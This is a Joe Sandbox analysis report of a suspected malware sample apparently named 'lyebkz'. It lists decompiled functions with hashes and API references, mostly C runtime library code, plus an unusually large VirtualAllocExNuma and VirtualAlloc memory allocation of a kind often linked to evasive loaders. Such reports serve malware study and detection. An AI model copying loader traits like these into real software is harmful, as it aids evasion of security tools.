Opcode ID: 1f920ff64106321d872a89d0e57180a9d742bd23c060d21717def355dd44e1d9
Instruction ID: 240a48f27fb2ceda56e5880fa4bc95f710285b37a359f38d2fc1df0738a507d3
Opcode Fuzzy Hash: 1f920ff64106321d872a89d0e57180a9d742bd23c060d21717def355dd44e1d9
Instruction Fuzzy Hash: FF51B431900204EBDB209FB9884899FBBB5EF41324F14867FF825B22F1D7789A51DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0024020A Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 00240244

Memory Dump Source

Source File: 00000006.00000002.984097182.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_lyebkz.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 172ff3dfdd571e89904787d956feae1d1adadd002cfcffde003cf902ebcfb7fd
Instruction ID: 7dd8d840171729cb0db0ca7765791b5ff3c9c3399b6b90ea13f77691315ba165
Opcode Fuzzy Hash: 172ff3dfdd571e89904787d956feae1d1adadd002cfcffde003cf902ebcfb7fd
Instruction Fuzzy Hash: B102E470E20209EFDF18DF94C985BADBBB5BF04305F204069E615BA291D7B4AEA0DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401473 Relevance: 3.0, APIs: 2, Instructions: 46
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E00401473(void* __ebx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t19;
				intOrPtr _t22;
				void* _t33;
				void* _t34;

				_t30 = __edi;
				_t29 = __edx;
				_push(0xc);
				_push(0x417d10);
				E00402914(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t33 - 0x1c)) = 0;
				if( *((intOrPtr*)(_t33 + 0x10)) == 0 ||  *((intOrPtr*)(_t33 + 0x14)) == 0) {
					L6:
					_t19 = 0;
				} else {
					if( *((intOrPtr*)(_t33 + 0x18)) != 0) {
						E00402833( *((intOrPtr*)(_t33 + 0x18)));
						 *((intOrPtr*)(_t33 - 4)) = 0;
						_t22 = E0040124C(__edx,  *((intOrPtr*)(_t33 + 8)),  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)),  *((intOrPtr*)(_t33 + 0x14)),  *((intOrPtr*)(_t33 + 0x18))); // executed
						 *((intOrPtr*)(_t33 - 0x1c)) = _t22;
						 *((intOrPtr*)(_t33 - 4)) = 0xfffffffe;
						E004014FF();
						_t19 =  *((intOrPtr*)(_t33 - 0x1c));
					} else {
						_t41 =  *((intOrPtr*)(_t33 + 0xc)) - 0xffffffff;
						if( *((intOrPtr*)(_t33 + 0xc)) != 0xffffffff) {
							E00402400(__edi,  *((intOrPtr*)(_t33 + 8)), 0,  *((intOrPtr*)(_t33 + 0xc)));
							_t34 = _t34 + 0xc;
						}
						 *((intOrPtr*)(E00402673(_t41))) = 0x16;
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E004025F0(_t29, _t30, 0);
						goto L6;
					}
				}
				return E00402959(_t19);
			}

0x00401473
0x00401473
0x00401473
0x00401475
0x0040147a
0x00401481
0x00401487
0x004014c0
0x004014c0
0x0040148e
0x00401491
0x004014cb
0x004014d1
0x004014e3
0x004014eb
0x004014ee
0x004014f5
0x004014fa
0x00401493
0x00401493
0x00401497
0x004014a0
0x004014a5
0x004014a5
0x004014ad
0x004014b3
0x004014b4
0x004014b5
0x004014b6
0x004014b7
0x004014b8
0x00000000
0x004014bd
0x00401491
0x004014c7

APIs

_memset.LIBCMT ref: 004014A0
__lock_file.LIBCMT ref: 004014CB

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 72daac4b5da97f2691914d8714452c10dbfd00684c863d522e738d51f03955e6
Instruction ID: aaf7c480747edc3c0a74e0743e60803d74adfeced85cffa2bd67ea20d3cf1614
Opcode Fuzzy Hash: 72daac4b5da97f2691914d8714452c10dbfd00684c863d522e738d51f03955e6
Instruction Fuzzy Hash: 95012D7180121AEBCF11AF65D90599E3A61AF04754F00827BF418262F1D7798662EBD9

Uniqueness

Uniqueness Score: -1.00%

Function 00240838 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002407DA: GetSystemInfo.KERNELBASE(?), ref: 002407F7

VirtualAllocExNuma.KERNELBASE(00000000), ref: 0024089D

Memory Dump Source

Source File: 00000006.00000002.984097182.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_lyebkz.jbxd

Similarity

API ID: AllocInfoNumaSystemVirtual
String ID:
API String ID: 449148690-0
Opcode ID: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
Instruction ID: a2dcb66f865b1de42624bc9250ef64b74825ab2ec442d39018592a2dd3ca09da
Opcode Fuzzy Hash: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
Instruction Fuzzy Hash: D7F01870D64309BAEB187BF04D8B76D76789F00301F105565B740771C3DA7856A09EA6

Uniqueness

Uniqueness Score: -1.00%

Function 00404878 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404878(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x41b57c = _t6;
				if(_t6 != 0) {
					 *0x41bb90 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040488d
0x00404893
0x0040489a
0x004048a1
0x004048a7
0x0040489d
0x0040489d
0x0040489d

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040488D

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: bd09d98794248c151ee644d6daf3eeae49167deeb6942443ce3eb3b2cea50609
Instruction ID: 42f5640ae34b5f3cb810f440d997e4ed21698ec7e11e1547c3a435a1368e941a
Opcode Fuzzy Hash: bd09d98794248c151ee644d6daf3eeae49167deeb6942443ce3eb3b2cea50609
Instruction Fuzzy Hash: 6CD05E76A54348AADB00AFB16C097A23BDCD388395F04C436B90CC6590E774D9408A48

Uniqueness

Uniqueness Score: -1.00%

Function 00401906 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00401906(intOrPtr _a4, intOrPtr _a8) {
				void* __ebp;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t10;

				_push(0x40);
				_push(_a8);
				_push(_a4);
				_t3 = E00401840(_t4, _t5, _t6, _t7, _t10); // executed
				return _t3;
			}

0x0040190b
0x0040190d
0x00401910
0x00401913
0x0040191c

APIs

__wfsopen.LIBCMT ref: 00401913

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction ID: bf1c7a8430721a0bb51276bfd7adce4e1b45a8fca5353f9dc8fdb51a6bf523e7
Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction Fuzzy Hash: EAC09B7744010C77CF113943EC02E463F1997C0764F058021FB1C191719977D6619589

Uniqueness

Uniqueness Score: -1.00%

Function 00404292 Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404292() {
				void* _t1;

				_t1 = E00404220(0); // executed
				return _t1;
			}

0x00404294
0x0040429a

APIs

__encode_pointer.LIBCMT ref: 00404294

Part of subcall function 00404220: TlsGetValue.KERNEL32 ref: 00404232
Part of subcall function 00404220: TlsGetValue.KERNEL32 ref: 00404249
Part of subcall function 00404220: RtlEncodePointer.NTDLL(00000000,?,00404299,00000000,00407B7F,0041B048,00000000,00000314,?,00403BDA,0041B048,Microsoft Visual C++ Runtime Library,00012010), ref: 00404287

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: e51521083c20e9093a46c304e4b1f9cbce000d26f75fc24797caae08af525ba2
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0024073A Relevance: 1.3, APIs: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,17D78400,00003000,00000004), ref: 00240777

Memory Dump Source

Source File: 00000006.00000002.984097182.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Offset: 00240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_240000_lyebkz.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
Instruction ID: 3b4288ff085a1ff28d00ca07eb53c5ad4003a470c6c7735394b11ded1c37d44a
Opcode Fuzzy Hash: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
Instruction Fuzzy Hash: 33110670D10219AFDB04EFA8CC89BAEFBB4EB04304F2084A5EA15B7291D2755A949F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040CA52 Relevance: 66.4, APIs: 44, Instructions: 432
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040CA52(signed int __eax, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _t142;
				signed int _t145;
				signed int _t148;
				signed int _t151;
				signed int _t154;
				signed int _t157;
				signed int _t159;
				signed int _t162;
				signed int _t165;
				signed int _t168;
				signed int _t171;
				signed int _t174;
				signed int _t177;
				signed int _t180;
				signed int _t183;
				signed int _t186;
				signed int _t189;
				signed int _t192;
				signed int _t195;
				signed int _t198;
				signed int _t201;
				signed int _t204;
				signed int _t207;
				signed int _t210;
				signed int _t213;
				signed int _t216;
				signed int _t219;
				signed int _t222;
				signed int _t225;
				signed int _t228;
				signed int _t231;
				signed int _t234;
				signed int _t237;
				signed int _t240;
				signed int _t243;
				signed int _t246;
				signed int _t249;
				signed int _t252;
				signed int _t255;
				signed int _t258;
				signed int _t261;
				signed int _t264;
				signed int _t267;
				signed int _t270;
				signed int _t276;

				_t278 =  *(__eax + 0x42) & 0x0000ffff;
				_t279 =  *(__eax + 0x44) & 0x0000ffff;
				_v8 =  *(__eax + 0x42) & 0x0000ffff;
				_v12 =  *(__eax + 0x44) & 0x0000ffff;
				if(__esi != 0) {
					_v16 = _v16 & 0x00000000;
					_v20 = __eax;
					_t142 = E0040795E(_t279,  &_v20, 1, _t278, 0x31, __esi + 4);
					_t145 = E0040795E(_t279,  &_v20, 1, _v8, 0x32, __esi + 8);
					_t148 = E0040795E(_t279,  &_v20, 1, _v8, 0x33, __esi + 0xc);
					_t151 = E0040795E(_t279,  &_v20, 1, _v8, 0x34, __esi + 0x10);
					_t154 = E0040795E(_t279,  &_v20, 1, _v8, 0x35, __esi + 0x14);
					_t157 = E0040795E(_t279,  &_v20, 1, _v8, 0x36, __esi + 0x18);
					_t159 = E0040795E(_t279,  &_v20, 1, _v8, 0x37, __esi);
					_t162 = E0040795E(_t279,  &_v20, 1, _v8, 0x2a, __esi + 0x20);
					_t165 = E0040795E(_t279,  &_v20, 1, _v8, 0x2b, __esi + 0x24);
					_t168 = E0040795E(_t279,  &_v20, 1, _v8, 0x2c, __esi + 0x28);
					_t171 = E0040795E(_t279,  &_v20, 1, _v8, 0x2d, __esi + 0x2c);
					_t174 = E0040795E(_t279,  &_v20, 1, _v8, 0x2e, __esi + 0x30);
					_t177 = E0040795E(_t279,  &_v20, 1, _v8, 0x2f, __esi + 0x34);
					_t180 = E0040795E(_t279,  &_v20, 1, _v8, 0x30, __esi + 0x1c);
					_t183 = E0040795E(_t279,  &_v20, 1, _v8, 0x44, __esi + 0x38);
					_t186 = E0040795E(_t279,  &_v20, 1, _v8, 0x45, __esi + 0x3c);
					_t189 = E0040795E(_t279,  &_v20, 1, _v8, 0x46, __esi + 0x40);
					_t192 = E0040795E(_t279,  &_v20, 1, _v8, 0x47, __esi + 0x44);
					_t195 = E0040795E(_t279,  &_v20, 1, _v8, 0x48, __esi + 0x48);
					_t198 = E0040795E(_t279,  &_v20, 1, _v8, 0x49, __esi + 0x4c);
					_t201 = E0040795E(_t279,  &_v20, 1, _v8, 0x4a, __esi + 0x50);
					_t204 = E0040795E(_t279,  &_v20, 1, _v8, 0x4b, __esi + 0x54);
					_t207 = E0040795E(_t279,  &_v20, 1, _v8, 0x4c, __esi + 0x58);
					_t210 = E0040795E(_t279,  &_v20, 1, _v8, 0x4d, __esi + 0x5c);
					_t213 = E0040795E(_t279,  &_v20, 1, _v8, 0x4e, __esi + 0x60);
					_t216 = E0040795E(_t279,  &_v20, 1, _v8, 0x4f, __esi + 0x64);
					_t219 = E0040795E(_t279,  &_v20, 1, _v8, 0x38, __esi + 0x68);
					_t222 = E0040795E(_t279,  &_v20, 1, _v8, 0x39, __esi + 0x6c);
					_t225 = E0040795E(_t279,  &_v20, 1, _v8, 0x3a, __esi + 0x70);
					_t228 = E0040795E(_t279,  &_v20, 1, _v8, 0x3b, __esi + 0x74);
					_t231 = E0040795E(_t279,  &_v20, 1, _v8, 0x3c, __esi + 0x78);
					_t234 = E0040795E(_t279,  &_v20, 1, _v8, 0x3d, __esi + 0x7c);
					_t237 = E0040795E(_t279,  &_v20, 1, _v8, 0x3e, __esi + 0x80);
					_t240 = E0040795E(_t279,  &_v20, 1, _v8, 0x3f, __esi + 0x84);
					_t243 = E0040795E(_t279,  &_v20, 1, _v8, 0x40, __esi + 0x88);
					_t246 = E0040795E(_t279,  &_v20, 1, _v8, 0x41, __esi + 0x8c);
					_t249 = E0040795E(_t279,  &_v20, 1, _v8, 0x42, __esi + 0x90);
					_t252 = E0040795E(_t279,  &_v20, 1, _v8, 0x43, __esi + 0x94);
					_t255 = E0040795E(_t279,  &_v20, 1, _v8, 0x28, __esi + 0x98);
					_t258 = E0040795E(_t279,  &_v20, 1, _v8, 0x29, __esi + 0x9c);
					_t261 = E0040795E(_t279,  &_v20, 1, _v12, 0x1f, __esi + 0xa0);
					_t264 = E0040795E(_t279,  &_v20, 1, _v12, 0x20, __esi + 0xa4);
					_t267 = E0040795E(_t279,  &_v20, 1, _v12, 0x1003, __esi + 0xa8);
					_t276 = _v12;
					_t270 = E0040795E(_t279,  &_v20, 0, _t276, 0x1009, __esi + 0xb0);
					 *(__esi + 0xac) = _t276;
					return _t142 | _t145 | _t148 | _t151 | _t154 | _t157 | _t159 | _t162 | _t165 | _t168 | _t171 | _t174 | _t177 | _t180 | _t183 | _t186 | _t189 | _t192 | _t195 | _t198 | _t201 | _t204 | _t207 | _t210 | _t213 | _t216 | _t219 | _t222 | _t225 | _t228 | _t231 | _t234 | _t237 | _t240 | _t243 | _t246 | _t249 | _t252 | _t255 | _t258 | _t261 | _t264 | _t267 | _t270;
				} else {
					return __eax | 0xffffffff;
				}
			}

0x0040ca5a
0x0040ca5e
0x0040ca62
0x0040ca65
0x0040ca6a
0x0040ca71
0x0040ca77
0x0040ca89
0x0040ca9e
0x0040cab3
0x0040cac8
0x0040cae0
0x0040caf5
0x0040cb07
0x0040cb1c
0x0040cb34
0x0040cb49
0x0040cb5e
0x0040cb73
0x0040cb8b
0x0040cba0
0x0040cbb5
0x0040cbca
0x0040cbe2
0x0040cbf7
0x0040cc0c
0x0040cc21
0x0040cc39
0x0040cc4e
0x0040cc63
0x0040cc78
0x0040cc90
0x0040cca5
0x0040ccba
0x0040cccf
0x0040cce7
0x0040ccfc
0x0040cd11
0x0040cd26
0x0040cd41
0x0040cd59
0x0040cd71
0x0040cd89
0x0040cda4
0x0040cdbc
0x0040cdd4
0x0040cdec
0x0040ce07
0x0040ce1f
0x0040ce3a
0x0040ce4d
0x0040ce57
0x0040ce64
0x0040ce6c
0x0040ca6c
0x0040ca70
0x0040ca70

APIs

___getlocaleinfo.LIBCMT ref: 0040CA89
___getlocaleinfo.LIBCMT ref: 0040CA9E
___getlocaleinfo.LIBCMT ref: 0040CAB3
___getlocaleinfo.LIBCMT ref: 0040CAC8
___getlocaleinfo.LIBCMT ref: 0040CAE0
___getlocaleinfo.LIBCMT ref: 0040CAF5
___getlocaleinfo.LIBCMT ref: 0040CB07
___getlocaleinfo.LIBCMT ref: 0040CB1C
___getlocaleinfo.LIBCMT ref: 0040CB34
___getlocaleinfo.LIBCMT ref: 0040CB49

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: df83f5cbc0c2568013c9cde3db90a7f3178389e87185a7618d13e237932d8ef8
Instruction ID: 6decb5dc1b7562a1e2c2f8f5ccb4f43cf894cd89b5e05df6b6192c689e5096b0
Opcode Fuzzy Hash: df83f5cbc0c2568013c9cde3db90a7f3178389e87185a7618d13e237932d8ef8
Instruction Fuzzy Hash: A5E1CEB2D0021EBEFB11DAE1CC41DFF7BBDEB04748F14052AB255E6081EA76AB059764

Uniqueness

Uniqueness Score: -1.00%

Function 004057A2 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E004057A2(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x41a550; // 0xdbec4c0
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x41b870 = _t6;
				 *0x41b86c = _t22;
				 *0x41b868 = _t25;
				 *0x41b864 = _t21;
				 *0x41b860 = _t27;
				 *0x41b85c = _t26;
				 *0x41b888 = ss;
				 *0x41b87c = cs;
				 *0x41b858 = ds;
				 *0x41b854 = es;
				 *0x41b850 = fs;
				 *0x41b84c = gs;
				asm("pushfd");
				_pop( *0x41b880);
				 *0x41b874 =  *_t31;
				 *0x41b878 = _v0;
				 *0x41b884 =  &_a4;
				 *0x41b7c0 = 0x10001;
				_t11 =  *0x41b878; // 0x0
				 *0x41b774 = _t11;
				 *0x41b768 = 0xc0000409;
				 *0x41b76c = 1;
				_t12 =  *0x41a550; // 0xdbec4c0
				_v812 = _t12;
				_t13 =  *0x41a554; // 0xf2413b3f
				_v808 = _t13;
				 *0x41b7b8 = IsDebuggerPresent();
				_push(1);
				E0040579A(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x416b5c);
				if( *0x41b7b8 == 0) {
					_push(1);
					E0040579A(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x004057a2
0x004057a2
0x004057a2
0x004057a2
0x004057a2
0x004057a2
0x004057a2
0x004057a8
0x004057aa
0x004057aa
0x0040b091
0x0040b096
0x0040b09c
0x0040b0a2
0x0040b0a8
0x0040b0ae
0x0040b0b4
0x0040b0bb
0x0040b0c2
0x0040b0c9
0x0040b0d0
0x0040b0d7
0x0040b0de
0x0040b0df
0x0040b0e8
0x0040b0f0
0x0040b0f8
0x0040b103
0x0040b10d
0x0040b112
0x0040b117
0x0040b121
0x0040b12b
0x0040b130
0x0040b136
0x0040b13b
0x0040b147
0x0040b14c
0x0040b14e
0x0040b156
0x0040b161
0x0040b16e
0x0040b170
0x0040b172
0x0040b177
0x0040b18b

APIs

IsDebuggerPresent.KERNEL32 ref: 0040B141
SetUnhandledExceptionFilter.KERNEL32 ref: 0040B156
UnhandledExceptionFilter.KERNEL32(00416B5C), ref: 0040B161
GetCurrentProcess.KERNEL32(C0000409), ref: 0040B17D
TerminateProcess.KERNEL32(00000000), ref: 0040B184

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 3633aa63159a632e74e18b65864914ea7cfb0a5544dce2e05c5538f6a6785dc5
Instruction ID: 32771f7f96bb7b7bf873eb73c4c426cadf354aa33007745641256fc70dd3a815
Opcode Fuzzy Hash: 3633aa63159a632e74e18b65864914ea7cfb0a5544dce2e05c5538f6a6785dc5
Instruction Fuzzy Hash: 4E21AFB4911208EFD741EF2AE9856843BE8FB48B14F11C53AE808972B1E7749985CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F127 Relevance: 3.0, APIs: 2, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E0040F127(void* __esi, void* __eflags) {
				void* _t7;
				int _t11;

				_t7 = E00407E10();
				asm("sbb eax, eax");
				 *((intOrPtr*)(__esi + 0x14)) =  ~(_t7 - 3) + 1;
				_t11 = EnumSystemLocalesA(E0040ED85, 1);
				if(( *(__esi + 8) & 0x00000004) == 0) {
					 *(__esi + 8) =  *(__esi + 8) & 0x00000000;
					return _t11;
				}
				return _t11;
			}

0x0040f127
0x0040f132
0x0040f13c
0x0040f13f
0x0040f149
0x0040f14b
0x00000000
0x0040f14b
0x0040f14f

APIs

_strlen.LIBCMT ref: 0040F127
EnumSystemLocalesA.KERNEL32(Function_0000ED85,00000001), ref: 0040F13F

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: EnumLocalesSystem_strlen
String ID:
API String ID: 216762292-0
Opcode ID: 481a6bbd0e845482002a6bc79966f6f9ed2a29ca67c7457a0b52adb901503beb
Instruction ID: 8b2f520920a657c3cf3fca0ceccdb2171c5b9655b1dfa72ccebc214e44c7e414
Opcode Fuzzy Hash: 481a6bbd0e845482002a6bc79966f6f9ed2a29ca67c7457a0b52adb901503beb
Instruction Fuzzy Hash: 86D0A770A513064AE7208F35D6093217BD0DB00B05F508D3DD942884C0C678A4448104

Uniqueness

Uniqueness Score: -1.00%

Function 0040C824 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C824(int _a4, int _a8, short* _a12, int _a16) {

				return GetLocaleInfoW(_a4, _a8, _a12, _a16);
			}

0x0040c83c

APIs

GetLocaleInfoW.KERNEL32(?,?,?,?), ref: 0040C835

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a4119b33cbdcfc62af1f6d206e44efae2756c9ce58d1964b79be306d0ebdde58
Instruction ID: 0652b55f9c5373a4e394ca821dcc4bd5fea6641fe49445d7f8183498143d10ac
Opcode Fuzzy Hash: a4119b33cbdcfc62af1f6d206e44efae2756c9ce58d1964b79be306d0ebdde58
Instruction Fuzzy Hash: 5CC0023200014DBB8F125F81EC048DA3F2AEB88261B058410FA1C05021C732D971EB55

Uniqueness

Uniqueness Score: -1.00%

Function 00403689 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403689() {

				SetUnhandledExceptionFilter(E00403647);
				return 0;
			}

0x0040368e
0x00403696

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040368E

Memory Dump Source

Source File: 00000006.00000002.984340288.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.984331709.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984422449.0000000000416000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.984472203.000000000041A000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_lyebkz.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b41e4a51fbf3383be120ed909939212314a7feb52b207dd880190d242feb9675
Instruction ID: 198de479c00b0858bc337882064e85648431d59cb65b5a55eb8c8ac0d358ec01
Opcode Fuzzy Hash: b41e4a51fbf3383be120ed909939212314a7feb52b207dd880190d242feb9675
Instruction Fuzzy Hash: 549002606921006696101B705D0B74529985B58E0375248716011D4196DB6681005D2A

Uniqueness

Uniqueness Score: -1.00%

Function 004043C4 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 92%

			E004043C4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t23;
				intOrPtr _t28;
				intOrPtr _t32;
				intOrPtr _t45;
				void* _t46;

				_t35 = __ebx;
				_push(0xc);
				_push(0x417ea0);
				E00402914(__ebx, __edi, __esi);
				_t44 = L"KERNEL32.DLL";
				_t23 = GetModuleHandleW(L"KERNEL32.DLL");
				if(_t23 == 0) {
					_t23 = E00403697(_t44);
				}
